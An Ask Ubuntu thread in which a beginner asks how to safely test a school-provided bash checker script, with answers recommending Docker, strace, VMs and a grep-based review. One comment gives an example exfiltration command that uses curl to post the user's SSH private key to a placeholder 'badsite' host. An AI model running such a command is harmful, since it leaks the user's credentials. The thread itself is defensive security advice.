How can I test a shell script in a "safe environment" to avoid harm to my computer?

Question

I'd like to install a certain bash script called 42FileChecker using the commands:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

But I don't know if 42FileChecker.sh will do any strange things on my PC because I'm a beginner and don't know what is happening in that script. Is there a way to run it in a dummy terminal or dummy root folder or something like that to see what happens so that I avoid something crazy like formatting of my drives. I'd like to know of any way to test shells for future shell scripts also, even if 42FileChecker.sh is safe.

Solution 1

I'm no expert at this, but I would recommend using strace and docker.

So first create a Docker container as by the instructions in this answer. But the addition being that strace will tell you what system calls are made. Or to quote:

strace is a diagnostic, debugging and instructional userspace utility for Linux. It is used to monitor and tamper with interactions between processes and the Linux kernel, which include system calls, signal deliveries, and changes of process state.

You can combine these commands to

docker exec -it ubuntu_container strace bash ./42FileChecker.sh

Solution 2

If you're not sure what a script does, you're better off not running it until you are sure what it does. Ways to reduce the damage radius of a bad script include running it using a new user, running it in a container, or running it in a virtual machine. But that first statement still holds: If you're not sure what something does, consider not running it until you do.

Solution 3

As @ctt said, it's probably a good idea to run it in a sandbox of some kind first. Using a VM is probably the easiest solution. Multipass is pretty simple.

Install multipass (assuming you haven't already):

sudo snap install multipass --beta --classic

Spin up a new VM:

multipass launch --name myvm

Login to your new VM:

multipass shell myvm

Then run your script (inside your vm):

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

Solution 4

As the school you are attending has published the scripts, the best place to voice your concerns is with your instructors.

That said we can help you decipher the code on a line by line basis. It is probably impractical for anyone here to analyze all the code.

You actually have 40 bash scripts with a total 5,360 lines. I've combined them together and looked for bash/shell commands that could be abused. They all appear to be used normally:

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$ 

• There is no rm -rf / command to wipe the whole hard disk partition.
• There is no requirement that sudo be used to run the script.
• The script actually makes sure only authorized C functions are used in the files checked.
• A quick browse of the bash/shell code shows it is professionally written and easy to follow.
• Using shellcheck on merged include files reveals only three syntax errors.
• Author names are identified and the main author even has his picture on his github page.
• Although there are no guarantees in life, 42FileChecker appears safe to use.

It's not human-readable bash scripts you need to worry about so much. It is compiled binary objects you cannot read that are cause for concern. For example a program called "shiny-bouncy-sphere" might paint something like that on your screen but in the background it could be erasing all your files.

---

Original answer

It is best to ask the author of the script what it does. Indeed you can almost post your question verbatim as it appears above.

Also ask the author:

• What files are updated?
• What happens if crash due to power failure or program bug?
• Can a mini-backup be performed first?

And any other good questions you can think of.

---

Edit 1 - Worries about a malicious author.

You should only use software with lots of good public reviews. Alternately authors you trust here in Ask Ubuntu like Serge, Jacob, Colin King, etc. Other respected sites like Ask Ubuntu and their respected members should also be considered "non-malicious".

The advantage of "respected authors" here in Ask Ubuntu is they stake their self-worth on "reputation points". If they were to intentionally write code that "stole" or "damaged" data they would quickly loose their reputation. Indeed authors could suffer the "wrath of mods" and being suspended and/or having 10,000's of reputation points taken away.

---

Edit 2 - Don't follow all the instructions

I took a deeper look into your bash script instructions:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

The "safe" method is to only run the first line:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

This downloads the scripts but doesn't run them. Next use nautilus (file manager) to inspect the directories and files installed. Very quickly you discover there are a collection of bash scripts written by a group of students in France.

The purpose of the scripts is to compile and test C programs for improper functions and memory leaks.

Solution 5

You can use Docker. Docker containers are isolated from the host OS, so any malicious activity will stay within a container, as long as you don't specifically let it out by forwarding ports or mounting filesystems.

To install docker:

sudo apt-get install docker.io

To download a new Ubuntu Bionic container:

docker pull ubuntu:bionic

After that, log into the container

docker run -it ubuntu:bionic

and perform the dodgy operation in it:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

View more solutions

Comments

[Admin]

Since it's a script, you can read it, and read the man pages on the commands contained in it.

[Admin]

Note that since the code is hosted on Git, you can read through the source of the tool. If code review isn't your thing, doing some sort of "dynamic" analysis by running it in a safe environment (sandbox, VM) is your next best bet

[Admin]

@waltinator If you're concerned about malicious behavior, rather than merely unintended behavior, reading the man pages won't help.

[Admin]

@Ray, only if the commands being run are themselves malicious, so their man pages would conceal their true effects. I think waltinator was referring to the more probable case of malicious use of standard commands, e.g. chmod 777 -R ~ or curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsa or similar.

[Admin]

Related. You could test scripts without risking any harm to your computer and it would teach your colleagues to lock their sessions.

[Admin]

There is one big caveat to the "sandbox" idea. What if the script had a way to check if it was being sandboxed? if (isSandboxed()) beBenign(); else beEvil();

[Admin]

@EricDuminil Lol, sounds like a plan. I'm going to my buddy's house right now!

[ntruter42]

I should yes, but I was thinking about situations where the author might be doing something malicious intentionally.

[WinEunuuchs2Unix]

@nicholas I replied to your comment by revising the answer.

[ntruter42]

I'm learning C in the Ecole 42 course. The functions I'm making needs to run through this norme check. I need to install the 42FileChecker in Ubuntu to run this norme check. I guess I just have to trust this script for now but I needed to know how to do a "safe-run" of the script first because I'm not that great at doing man searches. Thanks for the help. I'll just run a VM next time.

[D.W.]

This approach is not safe. After you've run the script in the sandbox, how are you going to tell whether it was safe? It might have harmful effects that you can't easily say. Malware doesn't necessarily pop up and say "Haha, got you!". Also, a malicious script could easily behave in a benign way while in a sandbox or VM and then behave maliciously on your real computer. (For instance, VM detection is a thing, as is machine fingerprinting.)

[Ryan J. Yoder]

This is a great point. If you want to inspect the script for malware, this is not an effective solution. This is a way of testing the functionality without polluting your host system.

[trognanders]

@nicholas Were these scripts provided as part of the course?

[ntruter42]

@trognanders Kind of. The scripts are installed on the local server, so we can only test our functions at campus. I think a few people managed to somehow find the scripts and upload them to their own github repos. Or maybe they made their own pseudo version of it. It's called "norminator". Not 42FileChecker.

[WinEunuuchs2Unix]

@nicholas I got the impression four or five School #42 students and/or teachers wrote 42filechecker and it's subroutines?

[ntruter42]

@WinEunuuchs2Unix Yes, it could be. I'm starting to think it's not a reliable version of the norminator. I found another link: github.com/veroxy/42_norminette and in the readme he claims to have "dumped the required files from the iMacs". I think that means he got the original norminator scripts. It's for this very reason I needed to test the scripts before applying them.

[WinEunuuchs2Unix]

@nicholas Line 24 of ~/42FileChecker/includes/display/display_credits.sh states norminette's work is a dependancy: norminette (42 born2code) http://www.42.fr. I read this last night and it's why I wrote it was a school (ecole) in France that published 42FileChecker. From what I've browsed of the code so far I wouldn't worry about running it. Plus it has very few syntax errors reported by shellcheck which is surprising in for a 5,360 line bash script. Many professionally published bash scripts have lots of syntax errors.

[trognanders]

@nicholas From a security standpoint, using the environment and scripts provided for the class is probably the best approach. It also removes the possibility of different behavior than the official course version which might be a surprise at turn-in time. Are you sure that there is no remote access to this machine, possibly using a campus provided VPN service or SSH from another computer that you can remotely access?

[mckenzm]

You can do a full comparison with a "control" VM.

[Martijn Heemels]

Another benefit of Docker that can be helpful in determining what a script does is that you can run docker diff to view which changes have been made to the filesystem since you launched the container. Downside of using Docker is that the container it's not a full copy of the host system. The Ubuntu image you mention here contains only a minimal Ubuntu installation.

[Martijn Heemels]

Instead of docker run ubuntu you should run docker run -it ubuntu:bionic The -it gives you an interactive terminal in the container and the bionic actually runs the version you want instead of the default latest.

[Peter - Reinstate Monica]

On the other hand scripts are like EULAs: Yes, you should read and understand every single line before you sell your soul, but do you?

[WinEunuuchs2Unix]

Hopefully OP comments here on if sudo is required to run script. +1

[emory]

I like this answer the best of those that I have seen. However, it seem like the dodgy script could still abuse your system. It could secretly be mining bitcoins, etc. Ideally one could use additional flags possibly --memory, --network, and maybe others to really lock down the script.

[emory]

If you are really paranoid combine this answer with the second best answer. Run docker inside a virtual machine, and lock down everything.

[hmakholm left over Monica]

@mckenzm: But if it's malware, it's entirely possible that it would choose to do nothing until it finds itself with access to something that looks juicy.

[that other guy]

Avoiding sudo only limits the scope of accidental deletion/formatting due to bugs. If the script was malicious or exploitable, running with sudo on a single user system makes no essential difference.

[Wildcard]

@PeterA.Schneider, but EULA's don't really do anything until taken to court. Running a script has an immediate effect on your computer. It's not so much about reading every line; it's more about "Reflections on Trusting Trust" and knowing and trusting the source of the script.

[ntruter42]

@WinEunuuchs2Unix I don't think sudo is necessary. I don't really know actually. Although I have been using sudo for apt install commands. Does that mean I need to use it to run a script also?

[WinEunuuchs2Unix]

@nicholas I don't have any C programs to compile and test with 42FileChecker so I can't really say if sudo is needed or not. The bash script doesn't check for sudo and tell you to use it though. It would appear then that sudo isn't required. Once again I think asking your instructor (teacher) is the best policy. I've updated my answer an hour ago with a little analysis of the script. Notice the name "mynorminette" appeared again within the code.

[ntruter42]

@Damon I'm supposed to be doing all my 42 norme checks at campus where the norminator (or in this case, 42FileChecker) is freely available to use. The only reason I want to install it at home is to polish all my C functions, but I can't because I have to check the functions and programs with the norminator after every modification. I figured someone from the Ecole 42 would be smart enough to get the norminator check script from the school and freely distribute it from their github repo.

[ntruter42]

@WinEunuuchs2Unix I saw your analysis of all the possible malicious commands, thank you. All this information is just too overwhelming for me. I just started learning about scripts a few weeks ago. I've decided not to install it and instead get advice from one of the instructors at campus (like you suggested).

[ntruter42]

So this will go through each line of the script (step-by-step) and also do all of this inside a container, which means all the commands will do absolutely nothing to my system but will be run as usual. Am I understanding this correctly?

[WinEunuuchs2Unix]

@nicholas I bet some of the instructors personally know norminette, yyang42, alelievr, anisg, QuentinPerez, gabkk, patorjk and Jean-Michel Gigault who all contributed to 42FileChecker. I believe talking to the instructors will set your mind at ease. After a couple of hours investigating I have faith in the programmers and their creations. Jean-Michel Gigault even has his picture on github. Quite a testament of confidence in a land where Yellow Vest seeds are growing. Viva La France! (et Ecole 42 :)) Do us a favour and drop in to give progress updates.

[Thomas]

@nicholas yes the docker container is a seperate machine for your protection, the program is sandboxed. Strace will provide you with all operations the application does to that machine, from opening files to setting up network connections.

[WinEunuuchs2Unix]

@nicholas We had hijacked another answer with our comments. I've made another update to answer above with our comments. 42FileChecker does appear safe to use and commands that could be used dangerously appear to be used normally.

[ntruter42]

Yes, that's exactly what I was looking for, Strace combined with Docker.

[jrw32982]

-x can be used for debugging (and I use it!) but it won't let you step through a script line by line. It will give you a kind of "trace" as it executes the script at full speed.